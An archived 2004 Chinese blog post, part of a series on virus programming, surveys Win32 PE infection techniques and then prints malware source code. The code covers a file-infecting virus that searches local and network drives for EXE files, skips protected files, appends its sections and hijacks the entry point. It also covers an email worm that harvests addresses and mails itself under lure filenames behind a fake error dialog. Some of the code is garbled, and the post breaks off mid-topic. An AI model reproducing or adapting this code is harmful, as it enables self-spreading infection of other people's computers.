浅谈病毒编程(3) :: 凌辰三点

来源: BlogBus 原始链接: http://www.blogbus.com:80/blogbus/blog/diary.php?diaryid=65709 存档链接: https://web.archive.org/web/20041119133412id_/http://www.blogbus.com:80/blogbus/blog/diary.php?diaryid=65709


凌辰三点 记录一些自己资料 <<<浅谈病毒编程(2) | 首页 | 浅谈病毒编程(4)>>> 浅谈病毒编程(3) 时间: 2004-01-03

浅谈病毒编程(3) 原创:squirrel(squirrel) 浅谈病毒编程(3) 一,win32.pe类的大总结

首先让我们回顾一下纯pe病毒在windows下使用的技术方法 | a.hook api | 在win9x的年代里,这种方法是一种好方法,但现在win2k/nt/xp的普及 | 使hook api的方法已经不太起作用了 | 就其原因: | win9x/me把user.dll,kernel.dll,gdi.dll等系统级的连接库装入内存给程序调用 | 而win2k/nt/xp则是程序在调用时将他们装入程序的内存中,在程序结束时再将他 | 们卸载出程序的内存 | 这样在win9x/me下,只要改内存的映射就可以hook所有 | 而在win2k/xp/nt下,必须对native api进行hook才可以,但是对native api进行hook | 必须有admin权限,并且搞不好会引起系统崩溃,甚至有时要写一个驱动才行。。。 | 所以现在搞hook api的人不多了。。。。 | b.hook vxd/ifs | 早在cih之前hook vxd/ifs就出现了,不过流行在cih之后的年代里,但是如今基于winNT技术 | 的操作系统中,进入ring0已经越来越难,因而使用hook vxd/ifs的方法病毒也愈来愈少。 | 但是他们仍然是破坏力最强,隐蔽最深的病毒。。。 | c.use api/native api | 最近五年兴起了use api的病毒,不过这种病毒使那些使用apihook的杀毒软件走向成熟。。 | 在nt/2k/xp下api是从native api映射过来的,所以use native api的病毒也开始走上舞台。 | |

接下来,我们就以use api这种最简单最方便的最快速的方法写一个病毒。。using c++ (病毒流程图 1st check up itself if ok to create two thread one for itself other for the programm then go to 2nd and check to do the ments goto 6nd 2nd do the finding if found go to 3rd not do 2nd again 3rd check up the found file if not nt and not infect go to 4th if nt and protect goto 2nd if nt and not protect and not infect goto 4th 4th infect file then goto 2nd ) a.自检部分(病毒的入口) void main() { BYTE InfectedFile[_MAX_PATH]; DWORD ThreadID; DWORD ThreadInfID; HANDLE HThread; HANDLE InfThread; int i; HMODULE * HandleDLL = NULL; int ImportedDLLs = 0; // Get the infected filename GetModuleFileName(NULL, InfectedFile, sizeof(InfectedFile)); // And its memory address IDosHeader = (IMAGE_DOS_HEADER *)GetModuleHandle(InfectedFile); IPEHeader = (IMAGE_NT_HEADERS *)((BYTE *)IDosHeader + IDosHeader->e_lfanew); if ( IPEHeader->Signature == IMAGE_NT_SIGNATURE ) // Check if we got the PE header { // Get ptr to Sections ISection = (IMAGE_SECTION_HEADER *)((BYTE *)IPEHeader + sizeof(IMAGE_NT_HEADERS)); // Get ptr to virus Sections ISection += FirstVirusSection; if (Generation++ == 1) { // Make some easy 1st-gen calcs to avoid complex ones in next generations HostEP = (DWORD)Gen1 - (DWORD)IDosHeader; VirusSections = IPEHeader->FileHeader.NumberOfSections; // Number of sections // Get the order of sections for (i=0; i<VirusSections; i++) { if ((ISection[i].VirtualAddress <= IPEHeader->OptionalHeader.AddressOfEntryPoint) && (ISection[i].VirtualAddress + ISection[i].SizeOfRawData > IPEHeader->OptionalHeader.AddressOfEntryPoint) ) { // This is the code section VirusCodeSection = i; VirusEP = IPEHeader->OptionalHeader.AddressOfEntryPoint - ISection[i].VirtualAddress; } else { if ((ISection[i].VirtualAddress <= IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress) && (ISection[i].VirtualAddress + ISection[i].SizeOfRawData > IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress) ) { // This is the import section VirusImportSection = i; VirusRVAImports = IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress - ISection[0].VirtualAddress; } else { if (ISection[i].VirtualAddress == IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) { // This is the reloc section VirusRelocSection = i; VirusRelocSize = ISection[i].Misc.VirtualSize; VirusRelocSizeDir = IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; } } } }//for } else // Not first generation { IMAGE_IMPORT_DESCRIPTOR * HostImports; int i; HostImports = (IMAGE_IMPORT_DESCRIPTOR *)(HostRVAImports + (DWORD)IDosHeader); // Count imported DLLs while (HostImports->OriginalFirstThunk) { ImportedDLLs++; HostImports++; } HandleDLL = (HMODULE *)MEMALLOC(ImportedDLLs * sizeof(HMODULE)); // Make host imports HostImports = (IMAGE_IMPORT_DESCRIPTOR *)(HostRVAImports + (DWORD)IDosHeader); for (i=0; i<ImportedDLLs; i++) { DWORD * FunctionName; DWORD * FunctionAddr; LPCTSTR Name; LPCTSTR StExitThread = "ExitThread"; if ((HandleDLL[i] = LoadLibrary((LPCTSTR)(HostImports->Name + (DWORD)IDosHeader))) == NULL) { // Exit if not find a DLL char StError[100]; MEMFREE(HandleDLL); sprintf(StError, "Can not find %s", (LPCTSTR)(HostImports->Name + (DWORD)IDosHeader)); MessageBox(NULL, StError, "Error initializing program", MB_OK | MB_ICONWARNING); ExitProcess(0); } // Perform host imports FunctionName = (DWORD *)(HostImports->OriginalFirstThunk + (DWORD)IDosHeader); FunctionAddr = (DWORD *)(HostImports->FirstThunk + (DWORD)IDosHeader); while (*FunctionName) { if (*FunctionName & IMAGE_ORDINAL_FLAG) { // Windows doesn't like ordinal imports from kernel32, so use my own GetProcAddress *FunctionAddr = GetProcAddressOrd((DWORD)HandleDLL[i], IMAGE_ORDINAL(*FunctionName)); } else { Name = (LPCTSTR)((DWORD)IDosHeader + FunctionName + 2/Hint/); // Change ExitProcess by ExitThread if (!strcmp(Name, "ExitProcess")) Name = StExitThread; // Set payload if (!strcmp(Name, "MessageBoxA")) FunctionAddr = (DWORD)&MyMessageBox; else FunctionAddr = (DWORD)GetProcAddress(HandleDLL[i], Name); } FunctionName++; FunctionAddr++; } HostImports++; } } HostEP += (DWORD)IDosHeader; // Exec host with a thread if ((HThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)HostEP, GetCommandLine(), 0, &ThreadID)) != NULL) { HANDLE VirusMutex; // Check if already resident if ( ((VirusMutex = CreateMutex(NULL, FALSE, "29A")) != NULL) && (GetLastError() != ERROR_ALREADY_EXISTS) ) { // Create infection thread InfThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)SearchDrives , NULL, CREATE_SUSPENDED, &ThreadInfID); // Assign a low priority SetThreadPriority(InfThread, THREAD_PRIORITY_IDLE); // Activate it ResumeThread(InfThread); // Wait until infection completed WaitForSingleObject(InfThread, INFINITE); ReleaseMutex(VirusMutex); } // Wait until host thread finnished WaitForSingleObject(HThread, INFINITE); } for (i=0; i<ImportedDLLs; i++) { FreeLibrary(HandleDLL[i]); } if (HandleDLL != NULL) MEMFREE(HandleDLL); } } b.搜索部分 /////////////////////////////////////////// // Recursively search for files to infect /////////////////////////////////////////// void SearchFiles(char * Path) { HANDLE FindHandle; WIN32_FIND_DATA FindResult; if (SetCurrentDirectory(Path)) { // Search for EXE files in current directory if ((FindHandle = FindFirstFile(".EXE", &FindResult)) != INVALID_HANDLE_VALUE) { do { checkfile(FindResult.cFileName); } } while (FindNextFile(FindHandle, &FindResult)); } FindClose(FindHandle); // Now search for subdirectories and process them if ((FindHandle = FindFirstFile("", &FindResult)) != INVALID_HANDLE_VALUE) { do { if (FindResult.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { char * DirName; DirName = _strupr(_strdup(FindResult.cFileName)); if ( (memcmp(DirName, "SYSTEM", 6)) // Skip SYSTEM?? && (FindResult.cFileName[0] != '.') // Skip loops with "." and ".." ) { SearchFiles(FindResult.cFileName); } free(DirName); } } while (FindNextFile(FindHandle, &FindResult)); } FindClose(FindHandle); } } ///////////////////////////////////////////// // Search fixed and network drives to infect ///////////////////////////////////////////// DWORD WINAPI SearchDrives() { DWORD Drives; BYTE CurrentDrive[] = "A:\"; DWORD DriveType; BYTE i; Drives = GetLogicalDrives(); for (i=0; i<sizeof(DWORD); i++) { if (Drives & (1<<i)) // Drive present? { CurrentDrive[0] = 'A' + i; DriveType = GetDriveType(CurrentDrive); // Only infect files in Fixed and Network Drives if ((DriveType == DRIVE_FIXED) || (DriveType == DRIVE_REMOTE)) { SearchFiles(CurrentDrive); } } } return 1; } c.识别部分 int checkfile(char argv[]) { FILETIME Time1, Time2, Time3; OSVERSIONINFO VersionInformation ; HMODULE hSFC ; FARPROC a_SfcIsFileProtected ; WCHAR wszFileName[ MAX_PATH] ; PROTECTED_FILE_DATA pfd ; handle fhandle MultiByteToWideChar(CP_ACP, 0, argv[ 1], -1, wszFileName, MAX_PATH) FHandle = CreateFile(wszFileName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE, NULL ); if (FHandle != INVALID_HANDLE_VALUE) { GetFileTime(FHandle, &Time1, &Time2, &Time3); // Get file time VersionInformation.dwOSVersionInfoSize = sizeof( OSVERSIONINFO) ; if ( GetVersionEx( &VersionInformation) == 0) { SetFileTime(FHandle, &Time1, &Time2, &Time3); // Restore file time CloseHandle(FHandle); //printf( "Error: Api GetVersionEx() failed\n\n", argv[ 0]) ; return -1 ; } if (VersionInformation.dwPlatformId != VER_PLATFORM_WIN32_NT) { InfectFile(fhandle) SetFileTime(FHandle, &Time1, &Time2, &Time3); // Restore file time CloseHandle(FHandle); //printf( "Error: This program only runs under Windows 2000/xp\n\n") ; return -1 ; } if ( ( hSFC = LoadLibrary( "SFC.DLL")) == NULL) { InfectFile(fhandle) SetFileTime(FHandle, &Time1, &Time2, &Time3); // Restore file time CloseHandle(FHandle); //printf( "Error: SFC.DLL not found\n\n", argv[ 0]) ; return -1 ; } if ( ( a_SfcIsFileProtected = GetProcAddress( hSFC, "SfcIsFileProtected")) == NULL) { FreeLibrary( hSFC) ; SetFileTime(FHandle, &Time1, &Time2, &Time3); // Restore file time CloseHandle(FHandle); //printf( "Error: Api SfcIsFileProtected not found\n\n", argv[ 0]) ; return -1 ; } if ( a_SfcIsFileProtected( NULL, wszFileName)) //printf( "Protected file\n\n") ; else { InfectFile(fhandle) SetFileTime(FHandle, &Time1, &Time2, &Time3); // Restore file time CloseHandle(FHandle); } } FreeLibrary( hSFC) ; return 0; } } c.感染部分 void InfectFile(HANDLE FHandle) { BYTE * Relocations = NULL; BYTE * HostRelocs = NULL; BYTE * Ptr; IMAGE_BASE_RELOCATION * RelocBlock; IMAGE_RELOCATION_DATA * PtrReloc; int j; // Let's do some initializations Section = NULL; Relocations = NULL; HostRelocs = NULL; Ptr = NULL; if (ReadPEHeader(FHandle)) { DWORD SectionRVA; int HostNSections; DWORD HostRelocsSize; DWORD BytesRead; int i; HostEP = PEHeader.OptionalHeader.AddressOfEntryPoint; HostNSections = PEHeader.FileHeader.NumberOfSections; HostRVAImports = PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; // Search for victim import section for (i=0; i<HostNSections; i++) { if (Section[i].VirtualAddress + Section[i].SizeOfRawData > HostRVAImports) { // Do it writable Section[i].Characteristics |= IMAGE_SCN_MEM_WRITE; break; } } // Check if last section is .reloc HostRelocsSize = 0; if (PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress == Section[HostNSections-1].VirtualAddress) { // Then we'll join it to virus reloc section VirusBaseRVA = SectionRVA = Section[HostNSections-1].VirtualAddress; if ( (HostRelocs = (BYTE *)MEMALLOC((HostRelocsSize = PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size))) == NULL) { goto L_Exit_Infect; } else // Read the .reloc section { HostNSections--; SetFilePointer(FHandle, Section[HostNSections].PointerToRawData, NULL, FILE_BEGIN); ReadFile(FHandle, HostRelocs, HostRelocsSize, &BytesRead, NULL); SetFilePointer(FHandle, Section[HostNSections].PointerToRawData, NULL, FILE_BEGIN); } } else // There is no .reloc or it is not the last section { if (PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0) { // There are relocs but we didn't find them, so exit goto L_Exit_Infect; } VirusBaseRVA = SectionRVA = PEHeader.OptionalHeader.SizeOfImage; SetFilePointer(FHandle, 0, NULL, FILE_END); } FirstVirusSection = HostNSections; // Add virus section table CopyMemory(&Section[HostNSections], &ISection[0], sizeof(IMAGE_SECTION_HEADER) * VirusSections); // Reloc virus code & fix reloc sections if ((Relocations = MEMALLOC((VirusRelocSize > 0x1000)? VirusRelocSize : 0x1000)) == NULL) // Minimun a page { goto L_Exit_Infect; } CopyMemory(Relocations, (BYTE *)((DWORD)IDosHeader + ISection[VirusRelocSection].VirtualAddress + ISection[VirusRelocSection].Misc.VirtualSize - VirusRelocSize), VirusRelocSize); RelocBlock = (IMAGE_BASE_RELOCATION *)Relocations; PtrReloc = (IMAGE_RELOCATION_DATA *)(Relocations + sizeof(IMAGE_BASE_RELOCATION)); // Reloc all virus sections and write them to disk for (i=0; i<VirusSections; i++) { DWORD RelocsInBlock; Section[HostNSections + i].PointerToRawData = SetFilePointer(FHandle, 0, NULL, FILE_CURRENT); Section[HostNSections + i].VirtualAddress = SectionRVA; Section[HostNSections + i].SizeOfRawData = (ISection[i].SizeOfRawData + PEHeader.OptionalHeader.FileAlignment-1) & (-(long)PEHeader.OptionalHeader.FileAlignment); if (i == VirusRelocSection) // Virus reloc section? { PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress = SectionRVA; PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size = HostRelocsSize + VirusRelocSize; Section[HostNSections + i].Misc.VirtualSize = HostRelocsSize + VirusRelocSize; Section[HostNSections + i].SizeOfRawData = (HostRelocsSize + VirusRelocSize + (PEHeader.OptionalHeader.FileAlignment - 1)) & (-(long)PEHeader.OptionalHeader.FileAlignment); // Write host relocations WriteFile(FHandle, HostRelocs, HostRelocsSize, &BytesRead, NULL); // Add virus relocations WriteFile(FHandle, Relocations, VirusRelocSize, &BytesRead, NULL); // Fill with zeros until file alignment memset(Relocations, 0, 0x1000); WriteFile(FHandle, Relocations, Section[HostNSections + i].SizeOfRawData - (HostRelocsSize + VirusRelocSize), &BytesRead, NULL); } else { if ((Ptr = (BYTE *)MEMALLOC(ISection[i].SizeOfRawData)) == NULL) { goto L_Exit_Infect; } CopyMemory(Ptr, (BYTE )((DWORD)IDosHeader + ISection[i].VirtualAddress), ISection[i].SizeOfRawData); // Patch Visual C 5.0 heap in .data section / { DWORD * PtrHeap = &__small_block_heap; if (((DWORD)IDosHeader + ISection[i].VirtualAddress < (DWORD)PtrHeap) && ((DWORD)IDosHeader + ISection[i].VirtualAddress + ISection[i].SizeOfRawData > (DWORD)PtrHeap) ) { PtrHeap = (DWORD *)(Ptr + (DWORD)PtrHeap - (DWORD)IDosHeader - ISection[i].VirtualAddress); PtrHeap[3] = PtrHeap[2]; PtrHeap[4] = PtrHeap[5] = (DWORD)-1; } } */ // Do relocations in this section while ( (ISection[i].VirtualAddress + ISection[i].SizeOfRawData > RelocBlock->VirtualAddress) && ((DWORD)PtrReloc < (DWORD)Relocations + VirusRelocSizeDir) ) { DWORD Base; Base = RelocBlock->VirtualAddress - ISection[i].VirtualAddress; RelocsInBlock = (RelocBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOCATION_DATA); while (RelocsInBlock--) { if (PtrReloc->RelocType == IMAGE_REL_BASED_HIGHLOW) { *((DWORD *)&Ptr[Base + PtrReloc->RelocOfs]) -= (IPEHeader->OptionalHeader.ImageBase + ISection[i].VirtualAddress);//RelocBlock->VirtualAddress); *((DWORD *)&Ptr[Base + PtrReloc->RelocOfs]) += (PEHeader.OptionalHeader.ImageBase + SectionRVA); } PtrReloc++; } RelocBlock->VirtualAddress = RelocBlock->VirtualAddress - ISection[i].VirtualAddress + SectionRVA; RelocBlock = (IMAGE_BASE_RELOCATION *)PtrReloc; PtrReloc = (IMAGE_RELOCATION_DATA *)((BYTE *)RelocBlock + sizeof(IMAGE_BASE_RELOCATION)); } // Check if this is the Import section if (i == VirusImportSection) { IMAGE_IMPORT_DESCRIPTOR * Imports; IMAGE_THUNK_DATA * DataImports; DWORD StartImports; DWORD DeltaRVAs; DeltaRVAs = SectionRVA - ISection[i].VirtualAddress; StartImports = IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress - ISection[i].VirtualAddress; Imports = (IMAGE_IMPORT_DESCRIPTOR *)&Ptr[StartImports]; while (Imports->OriginalFirstThunk) { // Fix some initialized fields in memory Imports->TimeDateStamp = Imports->ForwarderChain = 0; Imports->OriginalFirstThunk += DeltaRVAs; Imports->Name += DeltaRVAs; Imports->FirstThunk += DeltaRVAs; DataImports = (IMAGE_THUNK_DATA *)&Ptr[Imports->OriginalFirstThunk - SectionRVA]; do { DataImports->u1.AddressOfData = (IMAGE_IMPORT_BY_NAME *)((DWORD)DataImports->u1.AddressOfData + DeltaRVAs); } while ((++DataImports)->u1.AddressOfData); Imports++; } } WriteFile(FHandle, Ptr, Section[HostNSections + i].SizeOfRawData, &BytesRead, NULL); MEMFREE(Ptr); Ptr = NULL; } SectionRVA += ( Section[HostNSections + i].Misc.VirtualSize + (PEHeader.OptionalHeader.SectionAlignment - 1)) & (-(long)PEHeader.OptionalHeader.SectionAlignment); }//for // Recalculate Header fields PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0; PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0; PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress = 0; PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size = 0; PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = VirusRVAImports + Section[HostNSections + VirusCodeSection].VirtualAddress; PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size = IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size; PEHeader.OptionalHeader.SizeOfImage = SectionRVA; PEHeader.OptionalHeader.AddressOfEntryPoint = VirusEP + Section[HostNSections + VirusCodeSection].VirtualAddress; PEHeader.FileHeader.NumberOfSections = HostNSections + VirusSections; PEHeader.OptionalHeader.SizeOfCode = 0; PEHeader.OptionalHeader.SizeOfInitializedData = 0; PEHeader.OptionalHeader.SizeOfUninitializedData = 0; for (j=0; j<PEHeader.FileHeader.NumberOfSections; j++) { if (Section[j].Characteristics & IMAGE_SCN_CNT_CODE) PEHeader.OptionalHeader.SizeOfCode += Section[j].SizeOfRawData; if (Section[j].Characteristics & IMAGE_SCN_CNT_INITIALIZED_DATA) PEHeader.OptionalHeader.SizeOfInitializedData += Section[j].SizeOfRawData; if (Section[j].Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA) PEHeader.OptionalHeader.SizeOfUninitializedData += Section[j].SizeOfRawData; } // Write new header and section table SetFilePointer(FHandle, OfsSections - sizeof(IMAGE_NT_HEADERS), NULL, FILE_BEGIN); WriteFile(FHandle, &PEHeader, sizeof(IMAGE_NT_HEADERS), &BytesRead, NULL); WriteFile(FHandle, Section, PEHeader.FileHeader.NumberOfSections * sizeof(IMAGE_SECTION_HEADER), &BytesRead, NULL); } L_Exit_Infect: // Free allocated memory if (HostRelocs != NULL) MEMFREE(HostRelocs); if (Relocations != NULL) MEMFREE(Relocations); if (Section != NULL) MEMFREE(Section); if (Ptr != NULL) MEMFREE(Ptr); } d.其他处理 #include <stdio.h> #include <windows.h> ///////////////////// // Defines ///////////////////// #define MEMALLOC(x) GlobalAlloc(GPTR, x) #define MEMFREE(x) GlobalFree(x) ///////////////////// // Type definitions ///////////////////// typedef struct { WORD RelocOfs : 12; WORD RelocType: 4; } IMAGE_RELOCATION_DATA; //////////// // Globals //////////// IMAGE_NT_HEADERS PEHeader; IMAGE_DOS_HEADER * IDosHeader; IMAGE_NT_HEADERS * IPEHeader; IMAGE_SECTION_HEADER * ISection; IMAGE_SECTION_HEADER * Section = NULL; int Generation = 1; int VirusSections = 0; int FirstVirusSection = 0; int VirusCodeSection = 0; int VirusImportSection = 0; DWORD VirusImportSize = 0; DWORD VirusRVAImports = 0; DWORD HostRVAImports = 0; int VirusRelocSection = 0; DWORD VirusRelocSize = 0; DWORD VirusRelocSizeDir = 0; DWORD OfsSections = 0; DWORD VirusBaseRVA = 0; DWORD VirusEP = 0; DWORD HostEP = 0; //// Fix for Visual C 5.0 heap //extern __small_block_heap; ////////////// // Functions ////////////// ///////////////////////////////////// // GetProcAddress for ordinal imports ///////////////////////////////////// DWORD GetProcAddressOrd(DWORD Base, DWORD NFunc) { IMAGE_NT_HEADERS * DLLHeader; IMAGE_EXPORT_DIRECTORY * Exports; DWORD * AddrFunctions; DLLHeader = (IMAGE_NT_HEADERS *)(Base + ((IMAGE_DOS_HEADER *)Base)->e_lfanew); Exports = (IMAGE_EXPORT_DIRECTORY *)(Base + DLLHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); AddrFunctions = (DWORD )(Base + Exports->AddressOfFunctions); return Base + AddrFunctions[NFunc - Exports->Base]; } ////////////////////////////////// // Check file and read PE header ////////////////////////////////// int ReadPEHeader(HANDLE FHandle)//FILE * FHandle) { IMAGE_DOS_HEADER FileHeader; WORD SizeSections; DWORD BytesRead; return ( // Read file header ( ReadFile(FHandle, &FileHeader, sizeof(IMAGE_DOS_HEADER), &BytesRead, NULL) ) && ( BytesRead == sizeof(IMAGE_DOS_HEADER) ) && // Check if EXE file ( FileHeader.e_magic == IMAGE_DOS_SIGNATURE ) && // Seek to NewExe header ( SetFilePointer(FHandle, FileHeader.e_lfanew, NULL, FILE_BEGIN) != (DWORD)-1 ) && // Read header ( ReadFile(FHandle, &PEHeader, sizeof(IMAGE_NT_HEADERS), &BytesRead, NULL) ) && ( BytesRead == sizeof(IMAGE_NT_HEADERS) ) && // Check if PE file ( PEHeader.Signature == IMAGE_NT_SIGNATURE ) && // Alloc memory for file sections + virus sections ( (SizeSections = (PEHeader.FileHeader.NumberOfSections + VirusSections) * sizeof(IMAGE_SECTION_HEADER)) ) && ( (Section = MEMALLOC(SizeSections)) != NULL ) && ( (OfsSections = SetFilePointer(FHandle, 0, NULL, FILE_CURRENT)) ) && // Read PE sections ( ReadFile(FHandle, Section, SizeSections, &BytesRead, NULL) ) && ( BytesRead == SizeSections ) && // Check if there is enough room for our sections ( (SetFilePointer(FHandle, 0, NULL, FILE_CURRENT) + (VirusSections * sizeof(IMAGE_SECTION_HEADER))) <= PEHeader.OptionalHeader.SizeOfHeaders ) && // Only infect when entry point belongs to 1st section // Avoid reinfections and compressors (usually perform virus checks) ( PEHeader.OptionalHeader.AddressOfEntryPoint < Section[0].VirtualAddress + Section[0].SizeOfRawData ) && // Skip DDLs ( !(PEHeader.FileHeader.Characteristics & IMAGE_FILE_DLL) ) && // Skip files with overlays or not aligned to file alignment ( SetFilePointer(FHandle, 0, NULL, FILE_END) == Section[PEHeader.FileHeader.NumberOfSections-1].PointerToRawData + Section[PEHeader.FileHeader.NumberOfSections-1].SizeOfRawData ) && //Check if the host will overwrite our code with its unitialized data (not present in disk) ( Section[PEHeader.FileHeader.NumberOfSections-1].Misc.VirtualSize <= Section[PEHeader.FileHeader.NumberOfSections-1].SizeOfRawData ) ); } /////////////////////////////////////// // Translates a RVA into a file offset /////////////////////////////////////// DWORD RVA2Ofs(DWORD rva) { int NSect; NSect = 0; while ( NSect < (PEHeader.FileHeader.NumberOfSections - 1) ) { if ( (Section[NSect].VirtualAddress + Section[NSect].SizeOfRawData) >= rva ) break; NSect++; } return (Section[NSect].PointerToRawData + ( rva - Section[NSect].VirtualAddress )); } f.发作部分 int MyMessageBox(HWND hWnd, LPSTR Text, LPSTR Caption, UINT Type) { char * Msgs[] = { "我爱你", "Win32/致张一 by SQUIRREL", "Warning! Don't close this window", "I already told you this but..." }; static int i = 0; return MessageBoxA(hWnd, Text, Msgs[++i & 3], Type); } // Simulated host for 1st generation void Gen1() { MyMessageBox(NULL, "我爱你", NULL, MB_OK); } 二, i-worm 专题 现如今i-worm病毒正在向bug using的方面发展,而在六七年前worm们主要是在局域网生存的 a.e-mail using 1.mapi using 举几个例子:(这几个例子来自网友的推荐) a.从文件中提取mail地址 #include<windows.h> #include<mapi.h> #include<memory.h> #pragma argsused / find, get n' send mail */ void findMail(char *); void GetMail(char *, char *); // the function we are going to use to send mails ULONG (PASCAL FAR MSendMail)(ULONG, ULONG, MapiMessage, FLAGS, ULONG); // we want it global MapiMessage mes; MapiRecipDesc from; char fileName[512]; unsigned short count=0; char *fileNames[]={ "Docs.exe", "Roms.exe", "Sex.exe", "Setup.exe", "Source.exe", "_SetupB.exe", "Pack.exe", "LUPdate.exe", "Patch.exe", "CrkList.exe" }; char *subs[]={ "Documents", "Roms", "Pr0n!", "Evaluation copy", "Help", "Beta", "Do not release", "Last Update", "The patch", "Cracks!" }; char *texts[]= { "Send me your comments...", "Test this ROM! IT ROCKS!.", "Adult content!!! Use with parental advisory.", "Test it 30 days for free.", "I'm going crazy... please try to find the bug!", "Send reply if you want to be official beta tester.", "This is the pack ;)", "This is the last cumulative update.", "I think all will work fine.", "Check our list and mail your requests!" }; // our lovely func void SendMail(char *subject, char *sfrom,char *sto, char smes); // stealth void fastOut(); int PASCAL WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { HINSTANCE MAPIlHnd; unsigned char buff[128]; DWORD buffs=128; HKEY keyHnd; char keyPath[]="Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders"; char keyItem[]="Personal"; / random number / count=(unsigned short)GetTickCount(); while(count>9) count=(unsigned short)(count/2); / get module name for the attachment / if(!GetModuleFileName(hInstance,fileName,512)) fastOut(); / test if MAPI32 is avaliable / MAPIlHnd=LoadLibraryA("MAPI32.DLL"); if(!MAPIlHnd) fastOut(); / get MAPISendMail */ (FARPROC &)MSendMail=GetProcAddress(MAPIlHnd, "MAPISendMail"); if(!MSendMail) fastOut(); findMail("."); findMail(" \windows "); if(RegOpenKeyEx((PHKEY)0x80000001,keyPath,0,KEY_READ,&keyHnd)==ERROR_SUCCESS) { if(ERROR_SUCCESS==RegQueryValueEx(keyHnd,keyItem,0,0,buff,&buffs)) { buff[buffs-1]='\'; buff[buffs]=0; findMail((char *)buff); } } FreeLibrary(MAPIlHnd); fastOut(); return 0; } void fastOut() { MessageBox(NULL,"File data corrupt:\n\n\tbad disk access or bad data transmission.", "WinZip Self-eXtractor",MB_OK|MB_ICONSTOP); exit(-1); } void SendMail(char *subject, char *sfrom,char *sto, char *smes) { memset(&mes, 0, sizeof(MapiMessage)); memset(&from, 0, sizeof(MapiRecipDesc)); from.lpszName=sfrom; // From from.ulRecipClass=MAPI_ORIG; mes.lpszSubject=subject; // Subject mes.lpRecips=(MapiRecipDesc *)malloc(sizeof(MapiRecipDesc)); if(!mes.lpRecips) fastOut(); memset(mes.lpRecips, 0, sizeof(MapiRecipDesc)); mes.lpRecips->lpszName=sto; // Send to mes.lpRecips->ulRecipClass=MAPI_TO; mes.nRecipCount=1; mes.lpFiles=(MapiFileDesc )malloc(sizeof(MapiFileDesc)); if(!mes.lpFiles) fastOut(); memset(mes.lpFiles, 0, sizeof(MapiFileDesc)); mes.lpFiles->lpszPathName=fileName; mes.lpFiles->lpszFileName=fileNames[count]; mes.nFileCount=1; mes.lpOriginator=&from; mes.lpszNoteText=smes; // Message (MSendMail)(0, 0, &mes, MAPI_LOGON_UI, 0); free(mes.lpRecips); free(mes.lpFiles); } void findMail(char wild) { HANDLE fh; WIN32_FIND_DATA fdata; char mail[128]; char buff[512]; wsprintf(buff,"%s\.ht",wild); fh=FindFirstFile(buff,&fdata); if(fh==INVALID_HANDLE_VALUE) return; while(1) { wsprintf(buff,"%s\%s",wild,fdata.cFileName); GetMail(buff,mail); if(strlen(mail)>0) { SendMail(subs[count], " GiftOfFury@Bumblebee.net",mail , texts[count]); count++; if(count==10) count=0; } if(!FindNextFile(fh,&fdata)) { FindClose(fh); return; } } } void GetMail(char *name, char *mail) { HANDLE fd,fd2; char *mapped; DWORD size,i,k; BOOL test=FALSE,valid=FALSE; mail[0]=0; fd=CreateFile(name,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE,0); if(fd==INVALID_HANDLE_VALUE) return; size=GetFileSize(fd,NULL); if(!size) return; if(size<256) return; size-=100; fd2=CreateFileMapping(fd,0,PAGE_READONLY,0,0,0); if(!fd2) { CloseHandle(fd); return; } mapped=(char *)MapViewOfFile(fd2,FILE_MAP_READ,0,0,0); if(!mapped) { CloseHandle(fd); return; } i=0; while(i<size && !test) { if(!strncmpi(" mailto:",mapped+i,strlen("mailto :"))) { test=TRUE; i+=strlen("mailto:"); k=0; while(mapped[i]!=34 && mapped[i]!=39 && i<size && k<127) { if(mapped[i]!=' ') { mail[k]=mapped[i]; k++; if(mapped[i]=='@') valid=TRUE; } i++; } mail[k]=0; } else i++; } if(!valid) mail[0]=0; UnmapViewOfFile(mapped); CloseHandle(fd); return; } b.从outlook的地址薄中提取地址 